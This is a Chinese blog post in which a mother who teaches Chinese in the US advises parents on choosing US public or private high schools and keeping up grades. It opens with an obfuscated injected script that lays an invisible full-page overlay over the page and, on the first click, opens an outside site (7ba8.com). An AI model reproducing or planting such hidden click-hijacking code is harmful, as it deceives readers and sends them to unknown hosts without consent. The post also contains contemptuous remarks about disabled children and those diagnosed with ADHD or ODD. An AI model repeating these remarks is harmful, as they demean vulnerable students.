<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我是一个初中生的母亲，一个在美国教中文的老师，我不是留学中介，所以没有任何的利益目的。希望我的看法和经历能给希望把孩子送到美国来的家长们一些启示。我只在美国的两个州生活过，所以本文仅代表个人意见。未经同意，不得转载。
1. 美国的私立学校和公立学校（高中）
许多人觉得留学生一定要去私立学校因为公立学校的资源是给当地的纳税人的，外国人不纳税，当然不能享受福利。没错。但是，你知道吗？有一句话是这样说的，美国的公立学校和私立学校是一个社会层次的偷偷分层。大多数的中产阶级以上的人都是把孩子送私立学校的。为什么？当你踏入公立学校，在那里观察上一天你就会明白了。公立学校和所居住的社区太息息相关了。好的社区，学生老师素质整体会好。而差的社区，怎么说，就像进入了动物园。我做为一个少数族裔，当我去好的公立学校时，学生没有人会对我是亚洲人觉得奇怪，或者问东问西。因为在美国，种族多样性是再正常不过的事情。而在差的社区，学生非常没有礼貌，对我是哪里人要打听个清楚。这还不是最糟糕的，最糟糕的是没有人想要学习，他们把老师发的材料乱扔，老师无法有质量地完成教学。有一次，一个初中生拿起地上的一个避孕套问我，你知道这是什么？
好的公立学校就一定好么？公立学校是不能拒绝学生的。如果这个学生在这个社区，就算是残疾人，低能，智障，学校也必须收。而且要配备相应的老师，来教这些学生。如果你的孩子是个才智能力高过中上的人，那你一定觉得冤枉，如果孩子和这样的学生在一个班，那会浪费孩子多少时间。公立学校会把有的科目分天才班(gifted class)，快速班(advancedclass)，和普通班(ordinary class)。其实普通班就是比较差的学生呆的。对于学习能力有障碍的学生，会分一个叫ESE的班(exceptional student education)。这里面的学生也是各种障碍，前几年流行ODD(oppositional defiant disorder), 近几年流行ADHD(attentiondeficit/hyperactivity disorder). 反正就是给各种思想不能集中，不求上进，学习障碍的小孩找到了符合他们的医学名词。并且要学校找各种方法配合他们，他们会占有更多的教学资源，他们比正常的小孩得到更多考试时间。学校和医生都会建议老师少布置功课。为什么要提到他们，因为私立学校也会有这样的孩子。后面再说。所以，中产阶级希望自己的孩子在一个相对文明，教学进度有保证的健康教学环境中，会把孩子送私立学校。有的出于对宗教的热爱，也会把孩子送私立学校。难道美国没有好的公立学校，当然有，但是非常少。我有一个朋友为了孩子教育从纽约市迁到了郊外，那里的公立学校很好。因为地产税高达4%。她的房子不大，每年要交1万7美元的地税。我在佛州，我把孩子送了私立学校，学费是2万3美元。其实，差别不大。所以，好的公立学校是靠地税把烂人们拦在门外。 2. 不同的私立学校当你开始给孩子选学校，又是一个头疼的问题。其实，世界上没有最好的学校，只有去找那个相对适应你孩子的学校。有的家长花了大价钱跑到美国来看学校，走马看花一样。其实很浪费时间。看学校，要有目的。美国的私立学校基本是从小学连到高中。当然有的只有小和初，有的只有高中。总的来说，一个学校的规模是很重要的。如果这个学校的学生人数非常少，说明学校的生源很成问题。如果中介跟你说，我们走精品路线，就是要人少。那是瞎掰。美国是个很现实的社会，没有资金，学校就无法运作。规模大的学校，资源，资金就会丰富，这个道理很简单。一般从学前班到高中，私立学校有1200个学生是比较正常的。太小的学校一定不能保证质量。有一次看到一个视频，一个北方的私立学校一共才260个学生，中国学生占50个。我觉得不会是什么好学校。其实，一个非常顶级的私立学校对招海外学生是非常谨慎的。因为她的本地生源已经有保证了，招些外国学生无非是让自己更显得多元化一些。所以，他们会控制海外学生的人数，10个左右。为什么？如果多了，势必会对本地学生的学习产生负面作用，本地家长不满就会像多米诺骨牌一样产生连锁反应。学校是不愿意冒这样的险的。好的私立学校（独立学校）是不太可能设有住宿的，当然寄宿学校(boarding school)除外。Boardingschool大多在北方，每个学生都寄宿，费用是55000美元起(对美国学生的价格)，我对这类学校不熟，就不讲了。好的私立学校（也许你们叫不提供住宿学校）因为本地生源已经丰富，她们会挑挑拣拣，还会把学生放到waiting list. 这种学校的运营会非常像个大公司，比如不设校车和食堂，因为这是非常大的花费。不能有夫妻同事，因为利益冲突。在运营上，绝对是省钱为主。在管理上，也是公司机制。这样的私立学校在教学上宣扬是STEM(science,technology, engineering and math)强项的, 他们不太喜欢去迎合留学生。他们每年会让学生参加一次考试，这个考试会很客观地评定每个学生在全国的公立系统和私立系统的百分位，非常可观。对小孩将来能进什么大学，提供了很好的评估。他们每年的年鉴上会标明每个孩子的大学去向，会很公开地给你一个百分比，去藤校（IvyLeague）的人数，去各州大的人数。非常公开而且透明。这样的学校，会是当地富人非常青睐的，因为美国人孩子很多，三，四个孩子，每人2万多3万不到，是一笔非常大的开支。这类学校会有忠实而慷慨的捐赠者。而教会学校就会变通些。教会学校的收费一般在1万5千左右。低一个档次。学生的去向总体也会低一个档次。教会学校会提供校车，食堂。而且还会发动老师，教友提供住宿。教会学校会有圣经课，而且是必修的。甚至每周都会请人来讲道。有的人不愿意选教会学校是觉得诵经时间实在太多。这些时间总和起来就是一个AP（大学先修）课时间。但是，有的人认为有信仰不是坏事，孩子可以有一个平和，喜乐，感恩的人生观。有什么不好？这就是个人选择了。有的教会学校会接纳ESE的学生。一些家里有些钱但是不想自己的”傻“孩子去公立学校，怕被人欺负的，就会送来教会学校。而这些学生是被独立学校拒绝的，因为他们不能，也不愿增加额外老师为这类孩子服务。但是教会学校出于多种原因，会接纳。其实，学校真的难以好坏来一言蔽之。只有是否适合。说简单些，你到一个学校，找负责学生考大学的老师，就是根据学生成绩为他们选择和推荐适合大学的老师那里，问：你们去年学生的去向是哪些大学？给我看统计数字。然后，问管学习的校长，你们学校大概有多少ESE学生？你们开几门AP课？你们AP成绩的统计，你们SAT，ACT的优秀率。那你比较下就能知道这个学校好不好了。最好，自己去听一堂数学的honor或者AP课，你如果在国内常陪孩子去周末学校的，应该不是问题。 3. 如何让你的孩子维持好自己的成绩单千万不要觉得把孩子送到美国的高中就万事大吉了。他们在学校的成绩还是非常重要的。美国的理科教育比中国容易不少。数学的简单几乎是人人都知道的。物理也很简单，高中的教科书上没有复杂计算。所以，留学生们最主要的就是攻克英文，历史之类的课。但是，依然有的留学生理科不太好。高中成绩对考大学是非常重要的，如果你的孩子拿到的是C。我觉得你还是不要花留学的冤枉钱了。 这种成绩是进不了好大学的。虽然，美国鼓吹大学录取是看学生的综合素质。那也是在成绩相同的情况下，再说其它特长的。藤校的录取是没有什么规律可循。成绩好是必须的，然后看个人体育和音乐类的特长，领导的能力和为社区服务的贡献。藤校是非常讲究传承的。比如你爷爷，你爸爸是藤校的，你成绩不差，会被考虑。或者你奶奶是捐款人，你也得成绩不差，能被考虑。我女儿的学校去年有个进哈佛还是耶鲁的，人家姓“格林斯潘“，自己去搜下谁姓这个姓吧。有本书是有个藤校招生的人写的，印象很深的是，他说，这么多的亚裔学生，每个人都是SAT满分，都会一门亚洲语言，都会一门乐器。我选谁呢？还是选谁都一样呢？我在纽约的时候，看到无数的华人家长把孩子送周末的补习班，乐器班。每个亚裔都在走一条非常辛苦的窄门。可惜，纽约这个地方，一旦入不了藤校，像样的州大是没有的。这是让我决定离开纽约的原因。这些亚裔孩子，那么辛苦地学习，一旦进不了藤校，要么去外州的好大学，留在纽约是没有好州大的。有什么意思呢？藤校对各种种族，留学生，家族生的名额是有分配的。亚裔孩子的竞争其实还是和自己人在拼。藤校都是私立大学，捐赠是很重要的。美国人靠几代人和学校保持着长久和谐的关系，是为他们子孙造福的。中国人没有捐赠的习惯，也没有捐赠的缘由，所以，孩子不能走heritage这条路，只好拼成绩了。好了。说说高中的成绩吧。私立学校的打分是非常松的。如果学生交作业，参加考试，B总是有的。私立学校老师不敢把分数打低，是怕家长投诉，从而怕自己掉了饭碗。有的学校甚至规定，考试前必须和学生复习并且给出正解，不就是给答案么？这还叫什么考试？其实就算给了答案，学生都未必考好。这在中国学生看来是不可能的，但是美国学生就会这样。努力读书的孩子有，但是没有中国孩子那么多，那么刻苦。有个朋友跟我说，她孩子的化学老师给每个人小考都是100，大家自我感觉好得不得了。但是，等到去考AP就傻眼了。但是，努力读书的孩子还是有的。大学招生处的人在评估学生的高中成绩单时，希望看到的是一个渐进的进步，当然，学生需要巧妙地回避掉自己不擅长的课。高中四年里，要渐渐加多自己的honor课程，修一些AP课程。如果一个学生都是A， 但是都是普通课程，是没有竞争优势的。如果都是honor和AP课，但是都是B，C，也是很笨的，吃力了还不讨好。 成绩单要课程越来越难，但是还是要保持B+,A, 甚至A+的节奏。所以，如何选课，和高中部的考大学导师保持沟通是很重要的。你的孩子必须要有这样的能力。因为你不可能帮上忙。当然如果你英文够好，自己写邮件和导师沟通也是可以的。 未完 |
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